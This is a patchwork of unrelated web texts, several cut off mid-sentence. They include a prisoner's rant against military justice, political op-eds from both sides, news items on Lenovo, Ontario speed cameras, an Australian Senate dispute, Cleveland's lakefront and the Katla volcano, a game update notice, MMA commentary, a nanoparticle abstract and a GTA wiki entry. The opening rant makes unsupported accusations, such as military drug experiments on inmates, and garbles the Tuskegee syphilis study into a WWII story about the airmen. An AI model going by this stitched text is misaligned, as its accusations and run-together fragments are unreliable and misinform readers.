When you have an “epidemic” you most show your solution is working. When you are spending $257 million yearly to convict veterans and building $95 million prisons you have a lot of hammers. You must find thousands of nails to justify those hammers. It is easy to find false accusers when you have that much money to pay them off. Everyone has an enemy somewhere. The military will find them. If they can’t find a victim they can make some, especially if they are in the military, too. If they won’t take the carrot of benefits, then they will use the stick of interrogations and threatened charges.
It is the same for the accused. Isolated, interrogated, and threatened until “investigators” hear what they need. So what if they passed that polygraph? It isn’t admissible in court. The JAG Corps knows how to suppress evidence and hide the truth. They mentor their young to cut their teeth as TDS defense lawyers.
If they are compliant and push those plea deals they might get to become prosecutors. If they really “play ball” and do what is necessary to win they will get to play in the big leagues. Here they will get the special training and support of Special Victim Prosecutors. For the truly corrupt and unethical the bright road of being a colonel and judge will be granted. The JAG has no real oversight; it needs unethical judges to cover up the mess of their young.
So now that we have fast tracked our vets into prison, stolen their honor, left their families to cope alone, what do we do? Oh wait, we must label them as sex offenders and felons. Even when they have served their time we must make sure they have no possible future. “Thank you for your service!”
Since most of these inmates have done nothing wrong, there is nothing to correct. We will not counsel them or give them hope. What to do? What to do? We will give them drugs! Drugs will keep them compliant and dependent. COL “Skittles” here at the JRCF will give you anything you want so he can use vets as lab rats for his drug studies. The army has a long history of doing this like the syphilis experiments of the Tuskegee airmen in WWII or the nuke “training” of the 1950s. The military will always find new younglings to sacrifice. Those vets that actually did do something to get in here were being prescribed these same drugs that clouded their thought processes and caused bad judgement or anger to flare up in frustration. Does all this seem too much? Maybe that is why 22 vets a day take their own lives, almost one an hour.
Well at least you are safe while I’m in prison. I’m safer too since my deployment days are over. I hope your daughters enjoy fighting the next war. I need to go the bathroom now. I don’t mind the young female guard staring at me through the door as I go. I wonder if there are male guards watching female prisoners? Oh wait, that’s not a problem is it…At a moment when Republicans are besieged by angry constituents opposing the previous "TrumpCare," "RyanCare" and "McConnellCare" plans, the smart move for Republicans is to formally surrender on their project to decimate Medicaid and repeal ObamaCare. They should work with Democrats to enact a bipartisan fix instead.
For practical purposes, the dark visions of repealing ObamaCare and eviscerating Medicaid have been rejected by the American people and are legislatively dead.
The smart move for Democrats is to campaign across the nation in the midterm elections in 2018 and the presidential election in 2020 in favor of a Medicare for all healthcare system that guarantees every American insurance coverage at an affordable price.
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The politics of the matter are simple. The various healthcare policies of President Trump, the Republican House and the Republican Senate are among the most unpopular and widely despised legislative initiatives by any party in the history of Congress. On a good day, the various GOP healthcare plans of Republicans are supported by barely 20 percent of the nation, or less, and vehemently opposed by huge numbers of voters.
By contrast the various single-payer healthcare proposals offered by Democrats, whether they are called the public option or Medicare for all, are supported by large numbers of voters. On a good day, and with the right policy mix, the progressive vision of healthcare is supported by some 60 percent of voters, or more.
In any event, the GOP plans to repeal ObamaCare are effectively dead in Washington. Republicans do not want to commit political suicide by enacting a repeal that the most nationally respected healthcare analysts and many smart Republicans know would create havoc throughout the healthcare system and mobilize an angry majority of Americans against the GOP in future elections.
The original sin of the GOP healthcare position is that Republicans thought that Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE was destined to be |
to Fight Speeding
November 10, 2016 9:00 A.M. Office of the Premier
Premier Kathleen Wynne was in the community of Leaside today to highlight intended legislation that, if passed, would give municipalities more tools to improve safety for school children, seniors, other pedestrians and cyclists in community safety zones and school zones.
The intended legislation would allow municipalities to introduce automated speed enforcement (ASE) technology, which takes pictures of speeders' licence plates, on municipal roads in community safety zones and school zones. It would also give Toronto the ability to create zones with reduced speed limits, which have been shown to decrease the severity of pedestrian-vehicle collisions.
Ontario has listened to Torontonians who want to improve the safety of their streets, and is proposing these changes to help address the rise of collisions involving pedestrians and cyclists.
Making roads safer for cyclists and pedestrians of all ages by giving municipalities options to enforce traffic laws is part of Ontario's plan to create jobs, grow our economy and help people in their everyday lives.
Quick Facts Speed is one of the biggest killers on Ontario’s roads: 14 per cent of all people killed on our roads in 2013 died in collisions where speed was a factor.
In 2015, 64 people died in traffic fatalities on Toronto’s streets. Many of them were pedestrians.
Studies show that lowering the speed limit from 50 km/h to 40 km/h in urban areas would reduce the number of deaths by half.Linux "lockout" tangle snarls Lenovo
After failing to install Linux on a recent Lenovo laptop, a Reddit user claims to have received a short reply from Lenovo's support team: "This system has a Signature Edition of Windows 10 Home installed. It is locked per our agreement with Microsoft."
The company is reportedly shutting discussion threads on its official forums to prevent "disruption," though the snarl of links and outrage flying around makes everything rather murky. The core facts at hand appear to be that a) the BIOS is programmed to enforce a RAID setup that is currently compatible only with Windows 10, and b) there's no technical rationale for it, it's just there to prevent other operating systems being installed. A is, of course, more plausibly true than B.
IBM is a long time ago, and Lenovo certainly sells what software vendors are buying. The model in question is the Yoga 900, pictured above; if you buy one of Lenovo's machines and plan on installing Linux, research it in depth beforehand.
Reporter Matthew Garrett, however, says that the "Microsoft made Lenovo block Linux" story isn't true and that he has a complete report coming.
UPDATE: Here's Garrett's story: Microsoft aren't forcing Lenovo to block free operating systems. The tl;dr: it's happening because "Intel have not submitted any patches to Linux to support the 'RAID' mode," and the Lenovo support statement about Microsoft is probably just a misunderstanding.
UPDATE: And confirmed in a statement from Lenovo.
To improve system performance, Lenovo is leading an industry trend of adopting RAID on the SSDs in certain product configurations. Lenovo does not intentionally block customers using other operating systems on its devices and is fully committed to providing Linux certifications and installation guidance on a wide range of products -https://support.lenovo.com/us/en/documents/pd031426. Unsupported models will rely on Linux operating system vendors releasing new kernel and drivers to support features such as RAID on SSD."
Previously: Lockdown: The coming war on general-purpose computingWhen comedian and TV hostSteve Harveymet withPresident Donald Trumpearlier this year, he didn’t expect the degree of outrage he’d receive.
Harvey, who recently opened up to The Hollywood Reporter about his career as a comedian and a TV host, spoke about both personal and political experiences over the years and how his meeting with Trump made for one that brings him regrets. The meeting drew ire from fans and critics alike.
“I didn’t see that coming. Jesus,” Harvey told the publication in a new piece published Tuesday. “It was so vicious that it really threw me.”
“I was being called names that I’ve never been called: Uncle Tom. A coon. A sellout,” he added.
President Donald Trump, left, speaks to members of the media as comedian and television host Steve Harvey stands in the lobby of Trump Tower in New York, U.S., on Friday, Jan. 13, 2017. More
Harvey said he first met with Trump after he said his business partner received “a call from the Obama transition team, who said that the Trump transition team would like to set up a meeting.” He said yes ― but the meeting was also to be held around Harvey’s 60th birthday celebration which was hosted on a boat. So, his wife Marjorie Harvey, suggested he deliberately miss the meeting.
“My wife says, ’Steve, just take off [and skip the meeting]. You’ll meet with him some other time,″” he recalled. “God, I should’ve listened.”
Harvey met with the President at the Trump Towers and said he spent about 20 minutes in the January meeting talking about golf. He recalled how he told Trump about potentially working with Ben Carson, who the president appointed to lead the department of Housing and Urban Development, to help identify ways he could help transform closing schools into “vision centers and teach STEM and computers and coding.”
Harvey said he has since been to HUD twice and that he’s met with Carson. “We’re actually trying to get it started,” he said. “Hopefully before the year goes out, we’ll be making the announcement about the first vision center.”
Harvey, who was pictured with Trump immediately following their meeting, drew ire from critics who called out the disrespect and shame they felt in seeing him, a black man, be so willing to work with a man who has consistently neglected and disrespected the black community.
Harvey himselfreleased a statement in Januaryas the outrage began to bubble up, explaining then why he met with the President and affirming that “he would sit with Trump anytime.”
A fancy birthday boat ride doesn’t sound half bad, after all.
This article originally appeared on HuffPost.It’s Go Time! Break Power Barriers and Surpass Limits with Transcendence Phase 1!
By GM Amelia
Heya adventurers! Well, are you ready to know what the big thing that’s coming today is? Well? Are ya? Ok, two things: One is Transcendence. Push your heroes to their limits and they can gain new skills for that fun, hard-hitting action we know we can’t live without. The second thing is Hero Dungeon: Hell Mode! This new infernal dungeon mode guarantees your trip inside every dungeon makes you come out a changed player. Two big updates back to back to maximize and test out your newly gained Transcendence skills. No time to snooze and dilly-dally coz this ain’t no walk in the park! Don’t forget to check out the Item Mall for three items that made a comeback!
Transcendence Events
You’ll be over 9000 when you’re done with Transcendence events. Plus, think of all the awesome rewards you’ll get for finishing the quests!
Choose your rewards by choosing which quests to do. Choose from the 3 types of quests like Transcendence of Growth, Advanced Transcendence, and Transcendence of Power.
and Everyone will have a chance to create a new character and have it jump levels. The highest level characters can do is 70 and you have to do a quest first otherwise you’re just creating a normal character.
You can also get special Equipment Cubes for every phase you finish in the Transcendence Jumping quest. The best part? Those wonderful free equips level up with you!
Also, characters level 10 and above who log-in for 10 minutes get a Symbol of Transcendence (7 Days). It’s pretty, it’s glow-y, and has some nice stats to boot!
Heroic Dungeon: Hell Mode Events
Gather all your friends and brave the open gates of hell. Which hell? Choose one! Are you ready to take on a more challenging Heroic Dungeon? Well, step in and find out!
Players level 80 and above, and 90 and above will receive an equipment cube for an accumulative connection of 10 minutes. These cubes will contain +8 weapons! How great is that? Pretty spiffy, I’d say!
Receive Equipment Tickets and trade them to Glave for a random but stronger equipment. Clearing quests on Normal Mode will give players [Cobo] Hero’s Equipment Exchange Ticket and clearing Hell Mode will give players [Cobo] Enhanced Hero’s Equipment Exchange Ticket to get even stronger equipment.
Item Mall Goodies
Our Heroes are cleaning up Elrios a second time around with Royal Maid. Order each other around and let your floaty friend tell you (with silence) what a great job you’re doing! Collect the set tomorrow!
From the wonderful lands of the orient where the sun rises, harness the sun’s power with Salvatore Solace. Start collecting the sun’s rays—err—pieces tomorrow!
Fans of Aquaman will definitely love the return of Salvatore Denif. With its aquatic motif you’ll be diving into the heart of the battle in no time! Hold your breaths until tomorrow, though!
And because we love you all so much we’re having a special sale at the Item Mall with these three lovely sets. Get 3 free Ice Burners when you buy 5! That’s 8 Ice Burners for the price of 5! How truly wonderful!
That’s all for now adventurers~
See y’all in game~World-class professional kick boxer Joe Schilling knows UFC stars Nick and Nate Diaz quite well after training and sparring with them. So, he wasn’t surprised when Nate was able to finish Conor McGregor relatively quickly last month despite not getting to train for it after accepting the last-minute UFC 196 contest while on vacation in Mexico.
According to Schilling, Nate was smart enough to pace himself, while McGregor lacked the fight IQ to do the same. "You have 12 days’ notice to fight five, five-minute rounds. There is no way that any consumate professional is going to go out there and blow his wad in the first round – unless you’re Conor McGregor and you go out there and blow your wad in the first round," he taunted, recently while speaking with The MMA Underground‘s Jonathan Shrager.
"So, Nate’s game plan was to go out there, not get knocked-out, but not waste any energy, and pick up as the rounds went on, because you have to go five rounds. You look at Nick and Nate’s style of fighting – they don’t ever do that well in the first round. They set a pace and then they drown you in it and then by the third, fourth round, guys are shooting for takedowns because they can’t stand getting hit anymore."
Article continues below...
Now that Diaz and McGregor are set to rematch, at UFC 200, Schilling sees things going down much the same way they did the last time out. "I think that’s exactly what happened in the fight, and I think going into another fight thinking that Nate’s not going to be in better shape and come out with an even harder pace in the first round," he continued.
"I think it’s going to be the same fight. I think it’s so obvious the wholes in Conor’s game, they were all over the place. I think the skillset that Nate has is far superior to Conor’s and Nate having a full training camp is just way different."
The kickboxer admits that McGregor could make tactical changes to fight more efficiently and effectively, but he also believes that McGregor is too intimidated by Diaz to fight in a measured way. "I think if you’re in there with someone you look up to, and you’re intimidated by, and you’re scared of, and talking all this sh-t about, your adrenaline is going to get (expletive) really bad and you’re going to try and knock him out in the first round," he reasoned.
"And, you’re going to lose like it did the last time."
McGregor wanted the rematch and the UFC made it for welterweight even though Conor is the featherweight champion and Diaz is a lightweight contender. Schilling repeated Diaz’s earlier allegations that McGregor uses banned performance-enhancing steroids, and suggested that is why he will be continuing to fight at a heavier weight class.
"If we’re going to talk about weight-gains and why he would want to stay at that weight class I don’t think it’s going to be that different when Nate talks about how you’re on steroids," he began.
"Now, you can’t get back down to that weight class, you’re stuck at that weight division because you got on steroids, but we’ll wait for Nate to say that, not me."
Whatever changes McGregor makes in his rematch against Diaz, Schilling isn’t buying the heavily-pushed notion that he is humble in "victory and defeat." Schilling said that UFC president Dana White has praised McGregor for supposedly being humble after losing to Diaz.
"No, he got humbled, and humiliated," he countered.
"There is a big difference between being humble, and being humbled. There’s a big difference."Clive Palmer criticised for attack on Senate clerk Rosemary Laing over advice on carbon tax repeal amendment
Updated
Independent senator Nick Xenophon has accused Clive Palmer of being a "bully and a coward" and called on him to apologise for his attack on a senior Senate official.
Members of the Upper House have leapt to the defence of Senate clerk Rosemary Laing after Mr Palmer said she should "get out of that job" if she was not prepared to act on his instructions.
The Government's attempts to pass the carbon tax repeal legislation suffered a setback last week after the Palmer United Party (PUP) withdrew support, following advice about an amendment from Dr Laing.
She had informed the party that a PUP amendment to the carbon tax repeal legislation was unconstitutional - advice that Mr Palmer disputed.
The legislation will go before the Senate for a third time today, with strong indications that it will pass.
Senator Xenophon says advice from the Senate clerk is always "impeccable" and Mr Palmer should be ashamed of his comments.
"These are the remarks of a bully and a coward and Clive Palmer ought to apologise," he said.
"He simply doesn't know what he's talking about and he is diminishing himself rather than diminishing the institution of the Senate.
"His attack on the clerk of the Senate - someone who cannot defend herself because of the protocols attached to that position - is nothing short of cowardly."
Palmer compares Laing's actions to Stalinist Russia
Mr Palmer denies he yelled at Dr Laing last Thursday, but says he threatened to seek a High Court injunction.
"She can't interfere and stop them from doing it - that's what it boils down to. Otherwise you get a bureaucrat being able to veto legislation and we don't want that. That's what happens in Stalinist Russia," Mr Palmer said.
"We don't seek her advice - we seek to put things to the Senate and she's inconsequential to us as to what she thinks. It's what the Australian people think and what they've elected us to do.
"Our party will always want to put things that we decide, not what the clerks decide.
"She's not a member of our party, she hasn't been elected to Parliament, she's employed by the Parliament to draft legislation in accordance with instructions and she can't really refuse those instructions."
Mr Palmer added: "If that's her job, well, she has to get out of that job".
It is an extraordinary attack from a member of the Lower House on the respected position of Senate clerk - especially when the new PUP senators are likely to need the advice.
Dr Laing is not commenting on Mr Palmer's remarks, and Senate president Stephen Parry is not commenting on reports that a complaint has been made about Mr Palmer's behaviour.
Palmer's behaviour is 'unacceptable'
"In my experience it doesn't matter what your politics are, the Senate staff are incredibly professional, they're helpful and they're impartial," said Greens leader Christine Milne.
"It's unacceptable for Mr Palmer to be calling for the resignation of the clerk of the Senate because she was providing advice that he did not want to take."
PUP said it would support the scrapping of the carbon tax if an amendment was passed that required power companies to pass on savings they made from the carbon tax repeal.
Companies that failed to pass on the savings within the first year would be forced to pay a penalty of 250 per cent of the savings to the Commonwealth.
However, the Senate clerk informed PUP senator Glen Lazarus that the penalty could be seen as a tax, and would therefore have to pass the House of Representatives before it could be put to the Senate.
"The advice that was given to Mr Palmer was that he could not do what he wanted to do," Senator Milne said.
"The clerks are not there to be directed by senators if it is outside the rules of the Senate - that is the fact.
"These people are professionals. They are helpful, they are impartial and they are certainly not there to be abused by senators if they won't do as the senators direct them to do when it is obviously against the rules."
Democratic Labour Party senator John Madigan also heaped praise on Dr Laing.
"Rosemary Laing and her staff are, I'd say, impeccable. I've only ever found them to be helpful and professional, they're a credit to the Senate," he said.
"I'd suggest play the issue not the person. The staff of the Senate are not to be attacked and I think it's a low blow. It does Mr Palmer no credit to attack the staff of the Senate in such a way."
Senate would be 'lost' without clerk's staff
Labor senator John Faulkner spoke in the chamber yesterday to send a message to all members of the Upper House.
"We are lucky that the Senate clerk's office provides such a professional and impartial service to all senators - government, opposition, minor party and independent in this place, because I would say without their integrity we would be lost," he said.
Senator Faulkner has spent 25 years in the Upper House and he singled out the past week for special mention.
"This is the worst, the worst, most amateurish and ham-fisted chamber management I've seen since I've been here," the veteran said.
But that has not stopped senators blaming each other for last week's extraordinary scenes in the Upper House.
Topics: federal-parliament, parliament, government-and-politics, tax, australia
First postedEveryone is aware of the guitar wizardry of Jimi Hendrix, just as everyone knows that his brilliance was cut horribly short when he died in 1970 at just 27 years old. Since that time, his limited catalog has been issued and reissued, remastered, remixed, and demos and live performances packaged in an attempt to feed a public hunger for more of his music.
It was, unfortunately, a well that has long been dry. Until now.
In 1965, back before he fronted the Jimi Hendrix Experience and melted the faces of a counterculture, Hendrix worked as a hired gun, performing with other acts, including Little Richard and the Isley Brothers. Through performing with a New York-based R&B group, Curtis Knight and the Squires, he met RSVP Records owner Ed Chalpin and found himself on the bad side of a horrible recording contract with the notoriously shady label owner and producer—$1.00 and 1% of royalties. Hendrix and the Squires wrote and recorded a handful of tracks together, none of which went anywhere at the time.
Luckily for the world, the next year, in 1966, Hendrix would be discovered by Animals bassist Chas Chandler and whisked to London to enter the studio and kickstart the solo career we all know and revere.
As Hendrix’s legend grew, Chalpin tried to repackage the Hendrix-Squires tracks as pure Hendrix albums, telling everyone who would listen that he had the guitarist locked into a three-year contract. The duo and their representatives were locked in litigation for years, a period that stretched to decades.
Last year, Experience Hendrix, the family-run LLC founded by his father that controls his legacy, finally acquired the recordings. After years of careful “forensic audio” reconditioning, spearheaded by original Jimi Hendrix Experience producer Eddie Kramer, all of the original masters have been restored. The result? An entire collection of previously unheard or hard to get tracks featuring, and some written by, Hendrix.
You Can’t Use My Name: Curtis Knight & The Squires (Featuring Jimi Hendrix) releases on March 24. digitally, on CD, and on 150 gram vinyl LP. (You can click the links to preorder.)
Here, we’re beyond excited to offer the world premiere of “Station Break,” written by Hendrix and featuring Jimi, of course, on guitar. Unlike some of the tracks on the compilation, which have popped up from time to time, “Station Break” has never before been released in any fashion.
Put on your headphones, turn it up, and realize that true legends never really die.
For more info, go to www.jimihendrix.comCLEVELAND, Ohio -- Cleveland's long-discussed dream of lakefront development will become much more solid this month, as developers take a big step toward controlling the land and seek early design approvals for a restaurant near Voinovich Park and their first apartments and offices north of the Rock and Roll Hall of Fame and Museum.
After more than a year of negotiations, Cumberland Development and Trammell Crow Co. expect to meet a June 15 deadline to exercise their option to lease 28 acres of city-owned land along Lake Erie. That move will start the clock ticking on the companies' ambitious plan to create a neighborhood on underused properties at tip of East Ninth Street and the northern rim of First Energy Stadium.
Documents submitted to the Cleveland City Planning Commission indicate that Cleveland-based Cumberland and Trammell Crow, of Dallas, aim to break ground within months for their first two buildings.
A large, casual restaurant, with abundant outdoor seating and a rooftop bar, would sit just east of Voinovich Park. Permanent public-restroom buildings would replace portable bathrooms at the end of the East Ninth Street Pier. Site plans prepared by Dimit Architects also show bocce courts and three sand volleyball courts, which would become ice-skating rinks in winter.
Near the Rock Hall, a three-story building would rise on the site of a former skateboarding park. A few dozen parking spaces wrapped by stores and restaurants would occupy the first floor, with roughly 16,500 square feet of offices on the second level and eight penthouse apartments above. Developer Dick Pace, president of Cumberland, describes the building as a microcosm of the much larger project, which could include more than 1,000 apartments, a hotel, more offices and a school.
Work on the first two buildings, with a potential $7 million to $10 million price tag, might start in September. Pace hopes to open the restaurant and finish the exterior, at least, of the three-story building before the Republican National Convention puts center-city construction projects on pause in July 2016.
"We think that the first phase of the project is going to be an exciting start," said Edward Rybka, the city's regional development chief. "It's going to be an example of what the larger build-out will be like, and it's exciting to think that by Labor Day we could be under construction for the development of a neighborhood on Cleveland's lakefront. That is something that has eluded the city forever."
Rybka and Pace said they're confident they'll execute the option-to-lease deal by mid-June, the date laid out in legislation approved by Cleveland City Council last year. Meanwhile, Pace is seeking a first round of design approvals for the first two buildings this week. He'll present to a city design-review committee Thursday and the planning commission Friday. Both bodies will need to see the projects again, later this summer, for final approval.
"We very much want it open for the RNC," Pace said of the waterfront restaurant, "because we think this will be one of the great spots for people to take pictures with the skyline in the background - and to have a place to go where they don't have to rely on Port-a-Johns. I don't necessarily think you want the presidential candidates out there using Port-a-Johns."
In early 2014, Cleveland picked Cumberland and Trammell Crow to pursue construction of a lakefront neighborhood based on a city-approved master plan. In addition to buildings, that lakefront plan calls for plenty of public spaces, ways to touch the water and convenience connections for people on foot and on bicycles.
Cleveland can't sell the lakefront sites without a public vote, so the city expects to enter long-term leases with the developers. The parties have spent the last year studying the property and working through the complexities of their deal.
The city needed an appraisal - now complete - to set a fair lease rate, which is still being determined. The developers needed environmental assessments to understand what they're getting into and to better pinpoint construction costs.
And Cleveland had to hammer out an underlying lease deal with the state, through a long and arcane process. The downtown lakefront was created using fill dirt from dredging. The state asserts that it owns the land beneath that dirt - land that used to form the bottom of Lake Erie. So Cleveland had to lease that underlying land from the state before striking surface-level lease deals with any developer.
Now enough of the pieces are in place that the city and the Cumberland joint venture feel comfortable enough to push ahead. Pace hopes to sign his first land-leases with the city soon after executing his option. He's talking to an unidentified local restaurant operator about the site near Voinovich Park, and he already has a list of would-be apartment dwellers interested in the penthouses.
"This is the closest we've ever come to something actually happening," said City Councilman Joe Cimperman, who represents much of downtown. "I think the developer has everything to do with that, as well as the mayor saying we're going to make this thing happen. I think there's going to be a lot of support and collaboration to that end."
Through the city, the developers are seeking $250,000 in state grants to help pay for the public restrooms and the volleyball courts. The grant application, submitted to the Ohio Department of Natural Resources, proffers a $132,000 match from Cumberland and Trammell Crow, Rybka said.
Beyond that money earmarked for parks and outdoor recreation, the first projects won't require much in the way of public funding, Pace said. Financing is likely to come from traditional banks, instead of the big, institutional lenders that the developers are courting for later, larger phases of the lakefront neighborhood.
The apartments would qualify for the city's tax-abatement program for new residential construction. And the developers are asking the city to consider a reconfiguration of a public parking lot along the East Ninth Street Pier, to create roughly 25 additional parking spaces, allow for more landscaping and shift to a kiosk system that would charge hourly rather than daily rates.
"We also hope that this is a site where the water taxi stops," Pace said, referencing a defunct service that the Cleveland Metroparks plans to revive on the Cuyahoga River. "We have had some preliminary discussions with some of the people involved in that. We don't have a commitment, but we would like to see that happen."
He said other potential retail tenants include a bike-tours company, a bait-and-tackle shop and restaurants where boaters and families renting paddleboats, kayaks or jet-skis can grab a quick bite. Those uses dovetail with a waterfront-recreation plan that Pace hopes to present to the planning commission this summer.
That plan includes a possible sailing center, with boat storage; permanent and floating docks to accommodate a range of boats; pedestrian paths; and, long-term, an outcropping that could accommodate swimming pools for adults and children. Pace also is talking to the Great Lakes Science Center about incorporating a restaurant into the William G. Mather, a Great Lakes freighter than now functions as a floating museum and tourist attraction. The science center owns the steamship.
Trammell Crow and Cumberland still are hashing out plans for later phases of construction, such as a connector planned between the Rock Hall and the science center. The developers have lost roughly 60 percent of their 1-acre site between the museums to the northern end of a planned pedestrian bridge that will stretch north from the grassy downtown Malls, over roads and railroad tracks.
"We hope that we're ready to start work on the second phase a year from now," Pace said, adding "it probably would be a year from the day after the RNC."November 08, 2017 Hats off to Donald Trump for giving the American people what they want
One year ago today, Donald Trump defied expectations of the radical left, mainstream media, pollsters and political pundits: He won the presidency. He got straight to work, nominating Associate Justice Neil Gorsuch to the Supreme Court, rolling back years of harmful Obama-era regulations, and crafting the biggest tax-cut plan in a generation.
President Trump has reached across the aisle time and again to make the American people’s priorities a reality. He has hosted leaders of the Democratic Party at the White House to discuss solutions to some of the nation’s most pressing problems, seeking results over partisan politics.
There’s no question that President Trump is not the standard politician we’ve grown accustomed to seeing. But that difference is what Americans celebrated last November when they elected an outsider to shake up Washington. They stood by a president who could create jobs, grow the economy, and help each person attain the American dream.
Since he took office, the economy has added nearly 1.5 million jobs, consumer confidence has skyrocketed, and unemployment has reached record lows. The Trump administration is promoting American industry and supporting our businesses, workers and families by increasing U.S. energy exports to the global market and investing hundreds of millions of dollars to support STEM education. Our veterans are finally getting greater access to quality health care.
President Trump is making America safer, enacting tough immigration policies that have driven down illegal border crossings by more than 41 percent since the same time last year. He is cracking down on convicted criminals who have plagued our communities for far too long.
He recently joined the House and Senate to develop a tax-cut plan that will help families across the country keep more of their paychecks. It will relieve financial burdens unfairly placed on the backs of hardworking Americans and will save the average family $1,182 more each year.
The Trump administration’s policies to improve the lives of all Americans have created a ripple effect, boosting our grass-roots operation and creating a surge of enthusiasm across the country that continues to this day. This broad support has translated into unprecedented investment, even in what is considered an “off year” election.
The Republican National Committee recently announced we have raised more than $100 million so far this year, the fastest we’ve ever reached that amount in a nonpresidential election year. Our small dollar donors are responsible for much of that success, with 60 percent of contributions coming in the form of donations of $200 or less.
Our grass-roots support has enabled us to hire state directors in 17 states so far, as we continue to staff up nationwide in preparation for next year’s midterm elections. Most importantly, every single dollar we’ve raised represents a vote of confidence in President Trump’s agenda.
Compare that to the Democratic National Committee’s anemic fundraising operation, which has only raised half as much and has nearly seven times less cash on hand. Democrats are sorely lagging behind not just in fundraising, but also in generating enthusiasm for their cause.
The Democrats and their divisive messages to the country, ongoing calls for resistance and obstruction of major pro-growth policies have driven their party to unprecedented lows. Even they know what this means. The American people simply aren’t buying what they’re selling. They’re turning to the party that drives progress, not the one playing politics.
The same people who defied the odds and elected Donald Trump last year continue to support him because he’s kept them at the core of his every decision. He is fighting for the steelworkers in Pittsburgh, the working moms in Michigan, and all those whose voices are discredited and silenced by Washington elites. Americans appreciate President Trump’s reliable, direct communication with them, and they recognize that he has made their priorities his own.
This, above all else, is what demonstrates his integrity and makes his agenda sustainable. Pundits and talking heads are not the ones who decide what is or isn’t working in our country and which agenda is most sustainable. This is a right reserved for the American people, and they already decided that they wanted a fighter back in the White House. One year ago today, they elected one.According to the CDC, the leading cause of death for both men and women between the ages of 5 and 44 is traumatic injury. Blood loss is the primary cause of death at acute time points post trauma. Early intervention is critical to save lives, and yet there are no treatments to stop internal bleeding that can be deployed in the field. In this work, we developed hemostatic nanoparticles that are stable at high temperatures (50 °C for 7 days) and are still effective at stopping bleeding and improving survival over the 1 h time period in a rat liver injury model. These particles are exceptionally simple: PLA-based nanospheres functionalized with PEG terminated with variants of the RGD motif. This simple system can be stored at temperatures up to 50 °C and maintain size, shape, and efficacy. The particles lead to a reduction in bleeding and increased acute survival with significance compared to both control particles and saline. Overall, these hemostatic nanoparticles offer an important step toward an immediate intervention in the field to stop bleeding and improve survival.Video
Hundreds of metres under one of Iceland's largest glaciers there are signs of an imminent volcanic eruption that could be one of the most powerful the country has seen in almost a century.
Mighty Katla, with its 10km-wide crater, has the potential to cause catastrophic flooding as it melts the frozen surface of its caldera and sends billions of gallons of water surging through the east coast and into the Atlantic ocean.
"There has been a great deal of seismic activity," says Ford Cochran, the National Geographic's expert on Iceland. "There have been more than 500 tremors in and around the caldera of Katla just in the last month, which suggests the motion of magma. And that certainly suggests an eruption may be imminent."
The last major eruption occurred in 1918 and caused such a large glacier meltdown that icebergs were swept by the resulting floods into the ocean. The volume of water produced in a 1755 eruption equalled that of the world's largest rivers combined.
Mr Cochran told the BBC what damage an eruption this time might do.
Video produced by Jane O'Brien and Bill McKenna
Photos courtesy of Ford Cochran
Video of Eyjafjallajokull eruption courtesy of Christoph Weber, Volcano Expedition InternationalThank you, Dermot Cole, for pointing out the hypocrisy of Fairbanks Sen. Pete Kelly's proposed Senate Bill 174, which seeks to allow people to carry concealed on University of Alaska campuses. ("Alaska Senate leaders: We need guns on UA campuses" Feb. 13.) The bill and its supporters contend the university shouldn't be allowed to "abridge the right to keep and bear arms." But they offer no explanation as to why they're allowed to do that very thing in the public's state Legislature.
Such hypocrisy is not limited to Alaska's Senate leaders. Few can forget National Rifle Association head Wayne LaPierre declaring in the aftermath of the Newtown elementary school shooting that "the only thing that stops a bad guy with a gun is a good guy with a gun" while arguing for armed personnel in public schools.
Yet the NRA museum director, in an article titled "How to be a Gun Collector," tells collectors to "keep your guns tied inoperable" when attending a gun show, noting this is a "requirement at the better shows." He further tells collectors to "never bring a loaded gun into a show," even if it's a "legal concealed carry gun."
SHOT Show and Crossroads of the West -- two of the largest gun shows in the country -- prohibit their Second Amendment enthusiasts from bringing any loaded firearm into the shows. Even if state law allows carrying concealed. They both cite safety concerns.
As Crossroads Gun Show explains on their website -- in response to a question of whether an attendee can carry a loaded gun into the show if they have a concealed carry permit:
"We respectfully request that you do not bring any loaded firearm into the gun show. Safety is our Number One Priority, and a safe environment can only be maintained if there are no loaded guns in the show."
Tom Lindsay, a "regular guy who likes guns and shooting" and "support(s) the Second Amendment right to keep and bear arms," explains online why gun shows don't allow loaded guns:
"(T)he key to gun safety is awareness. Pay attention.... (I)t stands to reason (and a casual reading of the news reports confirms) that it is when you combine a lot of vendors, each excited to show their products, with a lot of excited shoppers, and the aisles are full and bustling, that the awareness shifts. Vendors, anxious to demonstrate the latest, overlook Rule 1. They are paying attention, just not to gun safety."
I carry open or concealed wherever I lawfully can (concealed in Fred Meyer, open on a hiking trail). When I do, I have a heightened vigilance. Without it, what's the point of carrying? Vigilance requires attention.
So does teaching and learning. College campuses are, and should be, exciting, bustling places. What do we want students and teachers paying attention to?
While I carry and believe in my right to do so, I also have no problem with schools, banks, gun shows and even my state Legislature deciding that my individual right can be abridged in certain environments to ensure public safety. I just think it's hypocritical for one of those institutions exercising that limiting power to prohibit another from doing the same without a persuasive explanation why.
Val Van Brocklin was a state and federal prosecutor in Alaska who now trains and writes on a wide variety of criminal justice topics nationwide. She lives in Anchorage and likes to fly, fish, hunt, hike and kayak.The University of San Andreas, Los Santos (ULSA) is a university located between Richman Street and Picture Perfect Drive in Richman, Los Santos. ULSA is based on the real life University of California, Los Angeles (UCLA) and appears in Grand Theft Auto V.
Contents show]
Description
The university was established in 1919 and consists of a small campus set in northern Los Santos and an annex located on Marathon Avenue in Morningwood. There are two unnamed buildings at the campus' main entrance which are likely either classrooms or administrative offices. Stylistically, one of these buildings is based on UCLA's Powell Library. There is a Training Center next to another unnamed building that is architecturally similar to UCLA's basketball arena, |
annually. “However, if the same entrepreneur were a national of the Philippines, living in Quezon City, the business incorporation process would require 16 procedures, take 28 days and cost around 16 percent of income per capita. “She would need to make 20 different tax and contribution payments and visit multiple agencies in person. Furthermore, her business would be expected to pay 42.9 percent of its commercial profits in taxes and contributions annually.”
The World Bank nonetheless noted that the Philippines this year introduced reforms to make it easier to secure electricity service as well as pay taxes.
“The most common feature of reforms in the area of paying taxes over the past year was the implementation or enhancement of electronic ling and payment systems.
